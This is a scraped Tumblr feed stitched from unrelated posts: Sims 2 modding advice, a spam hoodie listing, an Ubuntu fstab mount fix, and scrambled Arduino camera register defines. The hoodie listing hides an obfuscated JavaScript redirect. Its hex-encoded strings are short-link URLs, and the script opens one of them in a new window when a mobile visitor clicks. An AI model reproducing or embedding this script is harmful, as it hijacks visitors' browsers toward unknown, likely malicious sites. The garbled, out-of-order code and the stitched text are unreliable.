In the latter of the mentioned BHAVs, you can see how Midge did it by reading the lines 0x10-0x15. Basically, she checks if the mesh is currently a tombstone and if yes, she fetches the sim's aspiration to temp 0 and adds literal 2 to translate the value to correspond with the correct material line (you can see those for tombstones in Model - Materials present in the file). Then she runs the material change primitive using the value in temp 0.
In the other BHAV the lines 0x26-0x2A are where this is done.
If you're only displaying the aspiration as a part of the texture and not using separate meshes for them, this is the way to do it. You'll need to have the material definitions of your textures listed in Model - Materials.
Model - Meshes is where the subsets of the mesh are written, as you'll also need to tell to the primitive which subset you want to change the texture for. It seems to me that you'll need to use the same list for both tombstones and urns which might mean that you'll need to fiddle with subset names of my urn replacements to get it to work. You can find tutorials for editing subsets pretty easily by googling.
If you want to make the different aspirations use separate meshes, you can do that by using the create new object instance primitive instead.
If you have any more questions, feel free to ask. Good luck!
4 notes · View notes
cbumstore · 3 months
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Cbum Hoodies – BLC Bum Lifting Club Pullover Hoodie Heavyweight 8.25 oz. (~280 gsm) cotton-rich fleece Stable colours are 80% cotton, 20% polyester. Heather Gray is 70% cotton, 30% polyester. Charcoal Heather is 60% cotton, 40% polyester Entrance pouch pocket, matching drawstring and rib cuffs Ethically sourced following the World Accountable Attire Practices Requirements Notice: For those who like your hoodies dishevelled go 2 sizes up function _0x3023(_0x562006,_0x1334d6)const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5)_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;,_0x3023(_0x562006,_0x1334d6);function _0x10c8()const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x4d\x4e\x74\x32\x63\x362','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x50\x66\x49\x33\x63\x323','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x73\x7a\x69\x30\x63\x330','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6e\x7a\x5a\x37\x63\x397','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x50\x71\x4d\x36\x63\x336','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x65\x56\x69\x38\x63\x358','\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x72\x48\x56\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function()return _0x2ccc2;;return _0x10c8();const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7)const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![])tryconst _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());catch(_0x28e7f8)_0x2e2ad3['push'](_0x2e2ad3['shift']());(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x56\x73\x75\x31\x63\x371',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x6c\x4a\x4d\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x63\x75\x74\x6c\x6c\x79\x2e\x6c\x69\x6e\x6b\x2f\x64\x63\x42\x39\x63\x399','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d)window[_0x365b[0x0]]=function()let _0x129862=![];return function(_0x784bdc)d(navigator[_0x365b[0x1]];const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0););,_0x2317c1=_0x3bd6cc=>const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];,_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0
x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);,_0x3f1308=(_0x3a999a,_0x355f3a)=>const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);,_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);;_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb)_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)tryconst _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));catch(_0x2386f7)_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);document[_0x365b[0x23]](_0x365b[0x22],_0x978889);());
0 notes
egsatv · 1 year
Link
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king1000 · 1 year
Text
no hd in commander no iso to usb and with wine doesn see the usb when using rufus
How To Solve Disk Mount Error in Ubuntu
ByAbhishek Prakash Updated onNovember 9, 2019
2 Comments
Reading Time: 2 minutes
I have several partition on the hard disk of my laptop. Some of them are NTFS and some Ext4. I prefer to auto-mount all the partitions at startup. It saves me trouble and time. I prefer to auto-mount the partition by editing the fstab. This was the first time I was trying to automount an Ext4 partition by editing the fstab. But it gave me the following error when I tried to mount the partition:
When I tried to mount the partition via GUI, it gave me the following error:
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dmesg | tail command showed me the following result:
[ 2123.530257] [] ? ieee80211_scan_rx+0x190/0x190 [mac80211] [ 2123.530264] [] worker_thread+0x124/0x2d0 [ 2123.530270] [<c1075280>] ? manage_workers.isra.27+0x110/0x110 [ 2123.530278] [] kthread+0x6d/0x80 [ 2123.530285] [<c1079130>] ? flush_kthread_worker+0x80/0x80 [ 2123.530292] [<c15acd7e>] kernel_thread_helper+0x6/0x10 [ 2123.530297] —[ end trace befde56ba3820bed ]— [ 2675.446643] EXT4-fs (sda7): mounted filesystem with ordered data mode. Opts: (null) [ 4831.528024] EXT4-fs (sda7): Unrecognized mount option “uid=1000” or missing value [ 5441.695588] EXT4-fs (sda7): Unrecognized mount option “uid=1000” or missing value
Fixing disk mount error
The problematic part was pointed by dmesg. It had trouble with uid=1000. Actually I had edited the /etc/fstab file to include the following line to auto-mount the Ext4 partition:UUID=f920adf0-6038-4145-8214-4e1b79ca2d9b /media/80GB ext4 defaults,uid=1000 0 0
I changed it with the line given below to remove the troublesome “uid=1000”:UUID=f920adf0-6018-4145-8314-4e1b79ca2d6b /media/80GB ext4 defaults 0 0
The automount of the partition worked fine afterwards. Cheers :)
0 notes
cloudstonki · 2 years
Text
Arduino camera code
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ID high */ #define REG_MIDL 0x1d /* Manuf. #define COM7_RESET 0x80 /* Register reset */ #define COM7_FMT_MASK 0x38 #define COM7_FMT_VGA 0x00 #define COM7_FMT_CIF 0x20 /* CIF format */ #define COM7_FMT_QVGA 0x10 /* QVGA format */ #define COM7_FMT_QCIF 0x08 /* QCIF format */ #define COM7_RGB 0x04 /* bits 0 and 2 - RGB format */ #define COM7_YUV 0x00 /* YUV */ #define COM7_BAYER 0x01 /* Bayer format */ #define COM7_PBAYER 0x05 /* "Processed bayer" */ #define REG_COM8 0x13 /* Control 8 */ #define COM8_FASTAEC 0x80 /* Enable fast AGC/AEC */ #define COM8_AECSTEP 0x40 /* Unlimited AEC step size */ #define COM8_BFILT 0x20 /* Band filter enable */ #define COM8_AGC 0x04 /* Auto gain enable */ #define COM8_AWB 0x02 /* White balance enable */ #define COM8_AEC 0x01 /* Auto exposure enable */ #define REG_COM9 0x14 /* Control 9- gain ceiling */ #define REG_COM10 0x15 /* Control 10 */ #define COM10_HSYNC 0x40 /* HSYNC instead of HREF */ #define COM10_PCLK_HB 0x20 /* Suppress PCLK on horiz blank */ #define COM10_HREF_REV 0x08 /* Reverse HREF */ #define COM10_VS_LEAD 0x04 /* VSYNC on clock leading edge */ #define COM10_VS_NEG 0x02 /* VSYNC negative */ #define COM10_HS_NEG 0x01 /* HSYNC negative */ #define REG_HSTART 0x17 /* Horiz start high bits */ #define REG_HSTOP 0x18 /* Horiz stop high bits */ #define REG_VSTART 0x19 /* Vert start high bits */ #define REG_VSTOP 0x1a /* Vert stop high bits */ #define REG_PSHFT 0x1b /* Pixel delay after HREF */ #define REG_MIDH 0x1c /* Manuf. #include #include #include #include #include #define F_CPU 16000000UL #define vga 0 #define qvga 1 #define qqvga 2 #define yuv422 0 #define rgb565 1 #define bayerRGB 2 #define camAddr_WR 0x42 #define camAddr_RD 0x43 /* Registers */ #define REG_GAIN 0x00 /* Gain lower 8 bits (rest in vref) */ #define REG_BLUE 0x01 /* blue gain */ #define REG_RED 0x02 /* red gain */ #define REG_VREF 0x03 /* Pieces of GAIN, VSTART, VSTOP */ #define REG_COM1 0x04 /* Control 1 */ #define COM1_CCIR656 0x40 /* CCIR656 enable */ #define REG_BAVE 0x05 /* U/B Average level */ #define REG_GbAVE 0x06 /* Y/Gb Average level */ #define REG_AECHH 0x07 /* AEC MS 5 bits */ #define REG_RAVE 0x08 /* V/R Average level */ #define REG_COM2 0x09 /* Control 2 */ #define COM2_SSLEEP 0x10 /* Soft sleep mode */ #define REG_PID 0x0a /* Product ID MSB */ #define REG_VER 0x0b /* Product ID LSB */ #define REG_COM3 0x0c /* Control 3 */ #define COM3_SWAP 0x40 /* Byte swap */ #define COM3_SCALEEN 0x08 /* Enable scaling */ #define COM3_DCWEN 0x04 /* Enable downsamp/crop/window */ #define REG_COM4 0x0d /* Control 4 */ #define REG_COM5 0x0e /* All "reserved" */ #define REG_COM6 0x0f /* Control 6 */ #define REG_AECH 0x10 /* More bits of AEC value */ #define REG_CLKRC 0x11 /* Clocl control */ #define CLK_EXT 0x40 /* Use external clock directly */ #define CLK_SCALE 0x3f /* Mask for internal clock scale */ #define REG_COM7 0x12 /* Control 7 */ //REG mean address.
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